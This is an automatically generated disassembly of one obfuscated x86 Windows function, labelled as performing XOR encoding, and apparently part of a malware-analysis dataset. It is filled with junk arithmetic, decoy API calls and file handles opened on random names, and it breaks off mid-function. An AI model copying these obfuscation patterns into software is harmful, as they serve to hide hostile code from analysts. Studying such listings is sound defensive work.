Function at 0x406080
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
movsx eax, byte [0x45e404]
sub eax, 0x52
mov byte [0x45e404], al
mov byte [ebp - 0xb5], 0xb8
mov cl, byte [0x45e404]
mov byte [ebp - 0x151], cl
mov dword [ebp - 0x1c0], 0x4b45
mov edx, 0x3af
mov word [ebp - 0x3c], dx
lea eax, [ebp - 0x151]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x150], 0xd580
push str.Zm9v7EflJh0Y
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1c8], ax
mov dword [ebp - 0x180], 0xa185
mov ecx, dword [ebp - 0x1c0]
add ecx, 0xaa1
mov dword [ebp - 0x1c0], ecx
movsx edx, byte [ebp - 0x151]
movsx eax, byte [0x45e404]
and edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
movzx edx, byte [ebp - 0xb5]
xor edx, 0x5d
mov byte [ebp - 0xb5], dl
mov eax, dword [ebp - 0x150]
shl eax, 0xe
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x180]
sub ecx, 0x3a
mov dword [ebp - 0x180], ecx
movsx edx, word [ebp - 0x3c]
or edx, 0x3bd
mov word [ebp - 0x3c], dx
mov eax, dword [ebp - 0xd4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x151]
sar edx, cl
mov eax, dword [ebp - 0xd4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1c0]
sub ecx, 0x1b86
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x150]
add edx, 0xc0d4
mov dword [ebp - 0x150], edx
movzx eax, byte [ebp - 0xb5]
and eax, 0x60
mov byte [ebp - 0xb5], al
movsx ecx, byte [ebp - 0x151]
movsx edx, byte [0x45e404]
add ecx, edx
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
movsx ecx, byte [ebp - 0x151]
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x45e404], cl
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x151]
add edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1c0]
sub edx, 0x4a04
mov dword [ebp - 0x1c0], edx
movsx eax, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
xor eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
mov eax, dword [ebp - 0x150]
shr eax, 0x15
mov dword [ebp - 0x150], eax
movzx ecx, word [ebp - 0x1c8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0xdc], ax
mov edx, dword [ebp - 0x150]
shl edx, 5
mov dword [ebp - 0x150], edx
movsx eax, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
or eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
movsx eax, word [ebp - 0x3c]
and eax, 0x7f5
mov word [ebp - 0x3c], ax
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [0x45e404]
sub edx, eax
mov byte [ebp - 0x151], dl
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x151]
add edx, eax
mov byte [0x45e404], dl
movzx ecx, byte [ebp - 0xb5]
add ecx, 0x15
mov byte [ebp - 0xb5], cl
mov edx, dword [ebp - 0x150]
sub edx, 0x7880
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x1c0]
and eax, 0x2479
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0x1c0]
add ecx, 0x53
mov dword [ebp - 0x1c0], ecx
movsx edx, byte [ebp - 0x151]
movsx eax, byte [0x45e404]
sub edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
movsx ecx, byte [0x45e404]
sub eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
cmp dword [ebp - 0x180], 0x9f07
ja 0x4060f0
mov ax, word [ebp - 0x3c]
mov word [ebp - 0x144], ax
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0xd8], ecx
mov dl, byte [ebp - 0xb5]
mov byte [0x45f3a2], dl
mov dword [ebp - 0x11c], 0x111e3
cmp dword [ebp - 0x11c], 0xe7b3
jbe 0x40655f
movsx eax, byte [0x45e404]
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x151], al
mov eax, dword [ebp - 0x11c]
sub eax, 0xf0
mov dword [ebp - 0x11c], eax
movzx ecx, byte [0x45f3a2]
sar ecx, 6
mov byte [ebp - 0xb5], cl
movsx edx, byte [ebp - 0x151]
movsx eax, byte [0x45e404]
xor edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x150]
shl edx, 0xe
mov dword [ebp - 0x150], edx
movsx eax, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
or eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
mov eax, dword [ebp - 0xd8]
and eax, 0x109c
mov dword [ebp - 0x1c0], eax
movzx ecx, byte [0x45f3a2]
add ecx, 0x4c
mov byte [ebp - 0xb5], cl
movzx edx, byte [0x45f3a2]
sub edx, 0xec
mov byte [ebp - 0xb5], dl
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x151]
sub ecx, edx
mov byte [0x45e404], cl
movsx eax, word [ebp - 0x3c]
add eax, 0x3de
mov word [ebp - 0x144], ax
mov ecx, dword [ebp - 0x150]
add ecx, 0x7d5c
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x1c0]
and edx, 0x6dce
mov dword [ebp - 0xd8], edx
movsx eax, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
sub eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x151]
sub ecx, edx
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x150]
add ecx, 0x94b5
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0xd8]
xor edx, 0x5089
mov dword [ebp - 0x1c0], edx
mov eax, dword [ebp - 0xd8]
or eax, 0x745a
mov dword [ebp - 0x1c0], eax
movsx edx, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
sar edx, cl
mov eax, dword [ebp - 0xd4]
mov byte [eax], dl
movzx ecx, byte [0x45f3a2]
shl ecx, 6
mov byte [ebp - 0xb5], cl
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x151]
and eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
mov eax, dword [ebp - 0xd8]
sub eax, 0x6aea
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0xd8]
add ecx, 0x7855
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x150]
add edx, 0xaa8f
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x1c0]
sub eax, 0x4646
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xd8]
sub ecx, 0x48f6
mov dword [ebp - 0x1c0], ecx
jmp 0x406351
mov edx, dword [ebp - 0xd8]
add edx, 0x70a
cmp edx, dword [ebp - 0x1c0]
jne 0x40657f
mov ecx, 0xcb
call fcn.00408770
jmp 0x4065e5
movsx eax, word [ebp - 0x144]
imul eax, eax, 0x746
movsx ecx, word [ebp - 0x3c]
cmp eax, ecx
jge 0x4065e5
movsx edx, word [ebp - 0x3c]
and edx, 0x5d6
mov word [ebp - 0x144], dx
movsx eax, byte [ebp - 0x151]
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [0x45e404], al
mov eax, dword [ebp - 0x150]
shr eax, 0x1d
mov dword [ebp - 0x150], eax
lea ecx, [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xf0]
push edx
call dword [sym.imp.USER32.dll_GetMenuInfo]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xd8]
shl eax, 0x6f
cmp eax, dword [ebp - 0x1c0]
jl 0x4086a0
push 0
push 0x400
push 3
push 0
push 8
push 0xc0000000
push str.hf18BrdmOcOH3tKU95WzLWAC1qHAv
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x1e4], eax
mov cl, byte [ebp - 0xb5]
mov byte [ebp - 0x1e5], cl
movzx edx, byte [ebp - 0x1e5]
movzx eax, byte [ebp - 0xb5]
or edx, eax
movzx ecx, byte [0x45f3a2]
cmp edx, ecx
jg 0x406677
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0xf4], edx
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x34], eax
mov cl, byte [ebp - 0x1e5]
mov byte [ebp - 0x199], cl
lea edx, [ebp - 0xf4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
add edx, dword [ebp - 0xd8]
mov dword [ebp - 0x1c0], edx
mov dword [ebp - 0x1ac], 0x6008
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xe8], eax
mov ecx, 0x904
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x20], 0x55b0
lea edx, [ebp - 0x199]
mov dword [ebp - 0x28], edx
mov al, byte [ebp - 0x199]
mov byte [ebp - 0x1ec], al
cmp byte [ebp - 0x1ec], 8
je 0x4066dd
cmp byte [ebp - 0x1ec], 0x46
je 0x406741
jmp 0x4067a3
mov ecx, dword [ebp - 0x1c0]
and ecx, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x34]
mov dword [edx], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1e5]
sub eax, ecx
mov byte [0x45f3a2], al
movzx edx, byte [ebp - 0x199]
push edx
movzx eax, word [ebp - 0x1d4]
push eax
movzx ecx, word [ebp - 0x1d4]
push ecx
movzx edx, byte [ebp - 0x151]
push edx
mov eax, dword [ebp - 0xf4]
push eax
call fcn.00406010
add esp, 0x14
jmp 0x4067a3
movsx ecx, byte [0x45e404]
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x151], cl
movzx ecx, byte [ebp - 0x199]
movzx edx, byte [0x45f3a2]
add ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1d4]
sub ecx, 0xcba
mov word [ebp - 0x1d4], cx
movzx edx, word [ebp - 0x1d4]
push edx
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
push eax
call fcn.004086f0
add esp, 0xc
lea ecx, [ebp - 0x150]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0xa4]
mov eax, dword [edx]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x118], 0x12a38
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x151]
add edx, eax
movsx ecx, byte [0x45e404]
cmp edx, ecx
jge 0x406851
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [0x45f3a2]
or eax, ecx
mov byte [ebp - 0x199], al
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xa4]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0xf4], edx
movzx eax, word [ebp - 0x1d4]
push eax
mov ecx, dword [ebp - 0xd8]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
push eax
call fcn.00405f30
add esp, 0x14
jmp 0x40866d
movsx ecx, word [ebp - 0x144]
and ecx, 0x44
movsx edx, word [ebp - 0x3c]
cmp ecx, edx
jg 0x40866d
movzx eax, word [ebp - 0x1d4]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x1b9
je 0x408616
cmp dword [ebp - 0x1f0], 0x904
je 0x406895
jmp 0x408660
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
mov dword [ebp - 0x170], edx
mov ax, word [ebp - 0x1d4]
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
imul ecx, ecx, 0x68c
movzx edx, word [ebp - 0x1d4]
cmp ecx, edx
jne 0x40691f
movzx eax, byte [0x45f3a2]
movzx ecx, byte [ebp - 0x199]
add eax, ecx
mov byte [ebp - 0xb5], al
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
movsx ecx, byte [0x45e404]
sub eax, ecx
mov byte [ebp - 0x151], al
mov edx, dword [ebp - 0xe8]
add edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0xa4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x151]
sub edx, eax
mov byte [0x45e404], dl
jmp 0x40695e
movzx ecx, byte [ebp - 0x199]
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
and ecx, eax
movzx edx, byte [ebp - 0x1e5]
movzx eax, byte [ebp - 0xb5]
sub edx, eax
cmp ecx, edx
jg 0x40695e
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0x3c]
push eax
mov edx, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x170]
call fcn.00405f70
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xa8], 0x62b8
movzx edx, byte [ebp - 0x1e5]
movzx eax, byte [ebp - 0x199]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xb5]
sub eax, ecx
mov byte [ebp - 0x199], al
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xf4]
xor ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c0]
sar eax, cl
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xa8]
add ecx, 0x84
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
or eax, dword [ebp - 0x1c0]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x1e5]
shl edx, cl
mov eax, dword [ebp - 0x28]
mov byte [eax], dl
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xb5]
and edx, eax
mov byte [0x45f3a2], dl
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x170]
sub edx, dword [ecx]
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], ecx
movsx edx, word [ebp - 0x3c]
sub edx, 0x6bb
mov word [ebp - 0x144], dx
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x151]
sub ecx, edx
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1d4]
add ecx, 0x9c0
mov word [ebp - 8], cx
movzx edx, byte [ebp - 0x1e5]
movzx ecx, byte [ebp - 0x199]
shl edx, cl
mov byte [0x45f3a2], dl
mov eax, dword [ebp - 0xf4]
xor eax, dword [ebp - 0x170]
mov dword [ebp - 0xe8], eax
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x158]
shr edx, cl
mov dword [ebp - 0xe8], edx
movzx eax, word [ebp - 0x1d4]
or eax, 0x13c
mov word [ebp - 8], ax
movzx ecx, byte [ebp - 0xb5]
movzx edx, byte [ebp - 0x199]
and ecx, edx
mov byte [ebp - 0x1e5], cl
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0xd8]
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0x150]
sub ecx, dword [ebp - 0x158]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x1c]
sub eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x34]
mov dword [eax], edx
push 2
lea ecx, [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x1e4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x151]
and eax, ecx
mov byte [0x45e404], al
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x199]
add eax, ecx
mov byte [ebp - 0x1e5], al
mov edx, dword [ebp - 0x158]
sub edx, dword [ebp - 0xe8]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x1c], edx
movsx eax, word [ebp - 0x144]
add eax, 0x1a7
mov word [ebp - 0x3c], ax
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [0x45e404]
xor edx, eax
mov byte [ebp - 0x151], dl
movzx edx, byte [ebp - 0xb5]
movzx ecx, byte [ebp - 0x1e5]
shl edx, cl
mov byte [ebp - 0x199], dl
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x1c]
sar eax, cl
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
or eax, dword [ebp - 0x150]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x151]
and edx, eax
mov byte [0x45e404], dl
mov ecx, dword [ebp - 0x1c0]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], ecx
mov edx, dword [ebp - 0x150]
add edx, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xa4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], edx
movzx edx, byte [ebp - 0x1e5]
movzx eax, byte [ebp - 0x199]
sub edx, eax
mov byte [ebp - 0xb5], dl
movzx ecx, word [ebp - 8]
sub ecx, 0xc9c
mov word [ebp - 0x1d4], cx
cmp dword [ebp - 0xa8], 0x7b78
jbe 0x406974
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x34]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
lea edx, [ebp - 0xf4]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
movzx eax, byte [0x45f3a2]
add edx, eax
movzx ecx, byte [ebp - 0x199]
movzx eax, byte [ebp - 0xb5]
add ecx, eax
cmp edx, ecx
jl 0x406cf9
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0xd8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xbc]
mov dword [eax], edx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x14c], ecx
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x199]
shl eax, cl
mov byte [ebp - 0x1e5], al
mov cl, byte [ebp - 0x151]
mov byte [ebp - 0x101], cl
mov dx, word [ebp - 0x144]
mov word [ebp - 0x160], dx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x14c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 8]
sar edx, cl
mov eax, dword [ebp - 0x14c]
mov word [eax], dx
movzx ecx, byte [ebp - 0x1e5]
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x45f3a2], cl
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
and edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
push str.tnhLt_j
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0xdc], ax
mov ecx, dword [ebp - 0x1c0]
sub ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx]
mov dword [ebp - 0x1c0], eax
mov edx, dword [ebp - 0xa4]
mov eax, dword [edx]
add eax, dword [ebp - 0x158]
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 9
mov dword [ebp - 0x20], ecx
movzx edx, byte [ebp - 0x199]
mov eax, dword [ebp - 0x28]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1e5], dl
movzx edx, word [ebp - 8]
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1d4], dx
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xd8]
add eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x6c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x199]
add edx, eax
mov byte [0x45f3a2], dl
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xd8]
shl edx, cl
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x1c0]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0xd8], edx
movsx eax, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
xor eax, ecx
mov byte [ebp - 0x101], al
movzx edx, byte [ebp - 0xb5]
movzx eax, byte [ebp - 0x1e5]
or edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
movzx ecx, byte [0x45f3a2]
sub eax, ecx
mov byte [ebp - 0x1e5], al
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1d4]
and eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xf4]
add eax, dword [edx]
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0xbc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1e5]
sub edx, eax
mov byte [0x45f3a2], dl
movzx ecx, word [ebp - 0x1d4]
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 8], cx
mov ecx, dword [ebp - 0x98]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x10]
add edx, dword [eax]
mov dword [ebp - 0xe8], edx
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xbc]
add edx, dword [eax]
mov dword [ebp - 0x50], edx
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xd8]
sub edx, dword [ecx]
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x20], 0x53b8
jae 0x406d50
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x101]
and ecx, edx
movsx eax, byte [ebp - 0x151]
movsx edx, byte [0x45e404]
xor eax, edx
cmp ecx, eax
jne 0x40852c
movsx eax, word [ebp - 0x144]
movsx ecx, word [ebp - 0x3c]
sub eax, ecx
mov word [ebp - 0x160], ax
lea edx, [ebp - 0x101]
mov dword [ebp - 0x64], edx
lea eax, [ebp - 0x199]
mov dword [ebp - 0x54], eax
push 0
push 0x20
push 1
push 0
push 4
push 0xc0000000
push str.iJpVOow5s1JIzH_sYeLg
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x14c]
mov dx, word [ecx]
mov word [ebp - 0x94], dx
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x170]
add ecx, dword [ebp - 0x158]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xd8]
sub eax, dword [edx]
mov dword [ebp - 0x50], eax
movzx ecx, byte [0x45f3a2]
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x54]
movzx eax, byte [edx]
movzx edx, byte [ebp - 0x199]
add eax, edx
cmp ecx, eax
jne 0x407035
mov eax, dword [ebp - 0xd8]
sub eax, dword [ebp - 0x70]
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0xd4]
mov cl, byte [ecx]
call fcn.00408720
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1d4]
sub eax, ecx
mov word [0x45e408], ax
mov edx, dword [ebp - 0x1c0]
mov dword [ebp - 0x1bc], edx
movzx eax, byte [ebp - 0xb5]
movzx ecx, byte [ebp - 0x1e5]
sar eax, cl
mov byte [ebp - 0x199], al
movsx ecx, word [ebp - 0x3c]
mov dword [ebp - 0x1f4], ecx
cmp dword [ebp - 0x1f4], 0x11
je 0x407090
cmp dword [ebp - 0x1f4], 0x1ad
je 0x4070bc
jmp 0x4070f9
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1d4]
xor eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xec]
or eax, dword [edx]
mov dword [ebp - 0x170], eax
jmp 0x4070f9
push 0xa6
call dword [sym.imp.USER32.dll_IsCharAlphaW]
mov dword [ebp - 0x1b0], eax
mov edx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x50]
shl edx, cl
mov eax, dword [ebp - 0x34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
push ecx
movzx edx, word [ebp - 0x3c]
push edx
mov edx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call fcn.00405f70
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x1f8], ecx
cmp dword [ebp - 0x1f8], 0x2b47
je 0x407148
cmp dword [ebp - 0x1f8], 0x41a6
je 0x40711f
jmp 0x407206
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x6c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x158]
sub eax, dword [ebp - 0xf4]
mov dword [ebp - 0xe8], eax
jmp 0x407206
mov ecx, dword [ebp - 0x14c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1d4]
add edx, eax
mov word [ebp - 8], dx
mov ecx, dword [ebp - 0x54]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x199], dl
movzx edx, byte [ebp - 0x1e5]
push edx
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 8]
push edx
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xf4]
push edx
call fcn.00406010
add esp, 0x14
movsx eax, byte [ebp - 0x101]
movsx ecx, byte [ebp - 0x151]
sub eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
movsx eax, word [ebp - 0x3c]
movsx ecx, word [ebp - 0x144]
sub eax, ecx
mov word [ebp - 0x160], ax
mov edx, dword [ebp - 0x150]
add edx, dword [ebp - 0xe8]
mov dword [ebp - 0x158], edx
